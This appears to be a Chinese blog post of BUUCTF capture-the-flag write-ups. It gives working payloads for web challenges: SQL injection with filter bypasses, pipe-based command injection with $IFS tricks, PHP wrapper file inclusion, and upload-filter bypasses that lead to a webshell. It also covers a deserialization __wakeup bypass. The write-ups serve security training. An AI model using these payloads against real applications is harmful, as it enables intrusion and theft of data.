WP-BUUCTF

BUUCTF

[HCTF 2018]WarmUp

点击题目所给链接,一个大大的滑稽

 

 右键查看源代码,发现提示去看source.php,访问后页面如下:

 

 大致阅读代码发现自定义类emm,定义静态方法checkFile,有一个参数。在代码的结束位置调用该方法且将接受到的参数file传入,如果为true则包含file文件,否则输出滑稽。再去看方法里面的代码。

 

 首先定义一个白名单,if里面的意思是如果page没有设置或者不是字符串的话输出"you can't see it",并返回一个false

 

 这个if判断page是否在之前定义的白名单,在这里可以尝试将hint.php用file提交看看

 

 提示flag在ffffllllaaaagggg里面,接着看下一个if

 

 这个if算是关键代码了,利用函数mb_substr()函数对page进行截取,截取的位置从0开始,到出现问号的地方结束,即可以构造payload进行绕过,source.php?file=hint.php?ffffllllaaaagggg,提交后发现页面的滑稽不见了,应该是绕过了

 

 

最后一个if循环没啥好看的,和第一个差不多。代码都看完了,怎么没出flag???然后去看了人家的wp,发现还有一个路径的问题,加上绝对路径就可以包含ffffllllaaaagggg

 

 [极客大挑战 2019]EasySQL

看题目应该是一个sql注入,点击题目所给链接

 

 先随便输一个账号密码点击登录

 

 看起来像注入点,加一个单引号看是否报错

 

 换成双引号,正常显示密码错误

 

 判断为单引号闭合,判断列数,通过尝试发现3时正常回显

 

 下一步查看回显点

 

 直接得到flag

[极客大挑战 2019]Havefun

进入题目界面如下

 

 右键查看源代码,发现提示

 

 构造paylaod提交cat=dog,得到flag

 

 

[强网杯 2019]随便注

进入题目界面如下,

 

 通过测试发现为单引号闭合,判断方式为加单引号报错,加双引号不报错,遂判断为单引号闭合

 

 通过测试发现列数为2,下一步观察回显点

 

 

 

 发现对关键字做了过滤,尝试大小写绕过失败,尝试使用报错注入,得到使用数据库

http://69514f09-3bfd-4843-b9f1-8f123a7ab127.node3.buuoj.cn/?inject=hahahah' and 1=extractvalue(1,concat(0x7e,database(),0x7e)) --+

 

 到这里报错也不能获得更多的有效信息,求助人家的wp,发现均使用了堆叠注入,去复习了一下堆叠注入

直接利用?inject=1';show tables;--+查看表名

SET;                                    # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;    # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;                         # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name;    # 用来释放掉预处理的语句

构造payload

-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;

发现过滤了set和prepare,大小写进行绕过

成功得到flag

参考大佬解题思路:https://www.cnblogs.com/chalan630/p/12583667.html

[SUCTF 2019]EasySQL

打开环境,发现是一个post提交的注入。

怎么说呢,这题,看了人家的wp后还是不太明白为什么就能猜测出sql语句里面有||,等以后积累了相关的知识再来看这个题吧

[ACTF2020 新生赛]Include

点击题目所给链接,发现有一处点击的地方,点击后页面发生跳转,url为:http://37886234-7865-4db9-9939-b95a5184e281.node3.buuoj.cn/?file=flag.php。由于题目提示文件包含,首先想到伪协议

1.php://input     将要执行的语法php代码写在post中提交。只写代码就可以
    用127.0.0.1/1.php  访问后进行抓包改包
        第一行改成'POST /1.php?file=php://input HTTP/1.1'
        最后一行改成
        放包后页面显示phpinfo()内容
2.data:text/plain    与input类似,都是用户可以控制传入的php代码
    访问的url:'127.0.0.1/1.php?file=data:text/plain,'
        即可显示phpinfo()内容
3.php://filter   实际用来过滤筛选文件
举例:'php://filter//read=convert.base64-encode/resource=1.php'把1.php用base64加密输出
    //resource=<要过滤的数据流>(必选)
    //read=<读链的筛选列表>  wirte=<写链的筛选列表>(可选)
4. file://      读取本地文件,需要绝对路径
         '127.0.0.1/1.php?file=file://C:/Users/xxy/Desktop/1.txt'
             //通过文件包含文件读取桌面上的1.txt文件

构造paylaod:http://37886234-7865-4db9-9939-b95a5184e281.node3.buuoj.cn/?file=php://filter//read=convert.base64-encode/resource=flag.php

页面回显

 

 

 进行解密得到

[极客大挑战 2019]Secret File

打开链接

 

 

 emmm我不想知道他的秘密,直接给我flag就完事了。右键查看源代码,发现有链接

 

 

 直接点击

 

 

 继续点击

 

 

 这就完事了?怀疑中间少了什么,用burp抓包

 

 

 发现secr3t.php,去访问看看

 

 emmmm,用burp重放访问试试

 

 复制html代码到本地,用浏览器访问

 

 直接用伪协议

 

 解密

 

 

[ACTF2020 新生赛]Exec

打开题目,是一个ping命令,攻防世界有类似的题目,使用管道符拼接命令达到命令执行的目的

 

 

 [极客大挑战 2019]LoveSQL

点击题目所给链接,是一个登录框,存在注入,首先判断闭合类型

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1'

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1"

判断闭合类型为单引号,结合判断列数

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1' order by 3 -- -

查看回显点

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1' union select 1,database(),3 -- -

得知数据库为geek,查看所有表名

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="geek" -- -

查看表l0ve1ysq1下所有列名

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="geek" and table_name="l0ve1ysq1" -- -

查看'id,username,password'里面的数据

http://895a808e-a083-48a1-8bbc-48ba982af709.node3.buuoj.cn/check.php?username=admin&password=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 -- -

得到flag

[GXYCTF2019]Ping Ping Ping

打开靶机环境,发现页面提示/?ip=,结合题目,猜测为通过管道符拼接命令读取flag

http://bbe4f973-a282-4c59-b77e-f8de4136483f.node3.buuoj.cn/?ip=127.0.0.1 | ls

 

 

 发现空格被过滤,删掉空格重新执行http://bbe4f973-a282-4c59-b77e-f8de4136483f.node3.buuoj.cn/?ip=127.0.0.1|ls

 

 用cat命令读取flag.php,这里就不能直接删除空格, 绕过空格的方式有如下几种

  $IFS
  ${IFS}
  $IFS$1 //$1改成$加其他数字貌似都行
  <
  <>
  {cat,flag.php} //用逗号实现了空格功能
  %20
  %09

http://bbe4f973-a282-4c59-b77e-f8de4136483f.node3.buuoj.cn/?ip=127.0.0.1|cat$IFS$1flag.php

 

 对flag进行过滤,使用变量拼接的方式

http://bbe4f973-a282-4c59-b77e-f8de4136483f.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php(这里参考人家wp)有点不懂为啥就变成;了

 

 [极客大挑战 2019]Knife

 打开题目链接

 

 访问index.php界面,还是上图所示,直接用蚁剑进行shell连接,连接成功在根目录找到flag

 

 [极客大挑战 2019]Http

点击题目,一个什么都没有的页面,右键查看源代码

 访问Secret.php

 

 F12用hackbar添加Referer为https://www.Sycsecret.com,提交

 

 添加useragent为Syclover

 

 添加XFF为127.0.0.1

 [RoarCTF 2019]Easy Calc

 打开题目给的环境

 

 右键查看源代码,

 

 发现url:calc.php?num=,尝试访问

 

 尝试无法绕过后,查看了一些文章,发现用的是在参数前加空格进行绕过

http://node3.buuoj.cn:26460/calc.php?%20num=1;var_dump(scandir(chr(47)))

var_dump()函数用于输出变量的相关信息

scandir()函数用来返回指定目录中的文件和目录的数组

 

 查看f1agg

http://node3.buuoj.cn:26460/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

file_get_contents()函数把整个文件读入一个字符串中

[极客大挑战 2019]Upload1

打开题目所给环境

 

先上传一张正常图片

 

 

 尝试访问该图片,同时还发现其他后缀的文件,好像是上传的

 

 

 

 尝试上传自己的一句话

 

 

增加一个MIME类型

 

提示不能有php,结合刚刚看到的文件后缀名,发现使用phtml成功绕过

 

 

 

 

 一句话里不能出现<?,网上搜索绕过姿势,参考文章:https://www.edwiin.cn/m/?post=609

 再次尝试

 

 

 

 

 

 尝试在上传的文件里添加GIF89a

 

 

 上传成功

 

 

 使用蚁剑连接

 

 

 

[极客大挑战 2019]PHP1

打开题目环境

 

 

 用dirmap对目录进行扫描

 

 

 下载www.zip

 

 

 这里的flag.php里面的flag不是正确的flag,阅读index.php,发现接收gei方式传入的参数select,并对接收的参数反序列化

 

 

 去class.php文件查看

 

 

 

 发现当用户名为admin,密码为100时会输出flag。这里需要绕过wakeup魔法函数,该函数在反序列化之前调用,先去查看正确的Name类序列化是什么样子的

正确的为:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

绕过wakeup的为:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

用get方式提交改payload即可得到flag

 

[ACTF2020 新生赛]Upload1

 打开题目环境,上传php文件发现存在前端验证,先将一句话改成jpg后缀上传绕过前端验证

 

 

 

 

 

 发现存在后端验证,尝试改后缀,发现phtml可以绕过,用蚁剑连接

 

[极客大挑战 2019]BabySQL1

打开题目所给环境,是一个sql注入

发现加单引号报错,加双引号正常显示,判断为单引号闭合

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1'

 

 http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1"

 

 判断列数

 

 好像是对关键字符做了过滤,尝试双写绕过

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1' Oorrder bbyy 3 --+

 

 查看回显点,同样使用双写绕过

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,2,3 --+

 

查看表名

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'geek' --+

 

 查看表表b4bsql里面的列名

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek'  anandd table_name = "b4bsql"--+

 

 查看表里面的数据,得到flag

http://ffe82590-2c96-4c6c-a227-4c5bc68434a3.node4.buuoj.cn/check.php?username=1&password=1' uniunionon selselectect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql--+

 

 flag{c09a590c-af18-4829-9927-ce595a530787}

[ACTF2020 新生赛]BackupFile1

通过dirsearch扫描目录,得到备份文件index.php.bak,下载文件后阅读代码

 

 http://e4a7823d-ab1d-437d-8965-e76fef852c72.node4.buuoj.cn/?key=123,得到flag

 

 [极客大挑战 2019]BuyFlag

打开题目所给环境,右键查看源代码

 

 发现要用post提交参数,这里可以使用弱类型进行绕过。在源代码的前面还发现对身份进行过滤

 

 这里抓包进行分析

 

 改user为1,同时改密码为404a

 

 显示长度过长,使用科学计数法进行绕过

 

 

[BJDCTF2020]Easy MD51

[极客大挑战 2019]HardSQL

打开题目所给环境,是一个sql注入的,随便输入一个用户名和密码。首先判断闭合类型

http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123'

http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123"

闭合类型为单引号,直接使用报错注入,发现对部分关键词做了过滤

 经过测试,发现过滤了空格使用or()来代替空格,查看数据库的时候发现过滤了=,使用like代替=

http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23

查看当前使用数据库

 

 查看表名  

http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23

 

 http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e)))%23

查看部分flag

 

 

 

 过滤了substr,使用right代替

http://6f69320f-8e20-44b4-98a8-0fb04678a23b.node4.buuoj.cn:81/check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e)))%23

 

 得到flag

 

posted @ 2021-06-30 11:20  KEEP12  阅读(102)  评论(0编辑  收藏  举报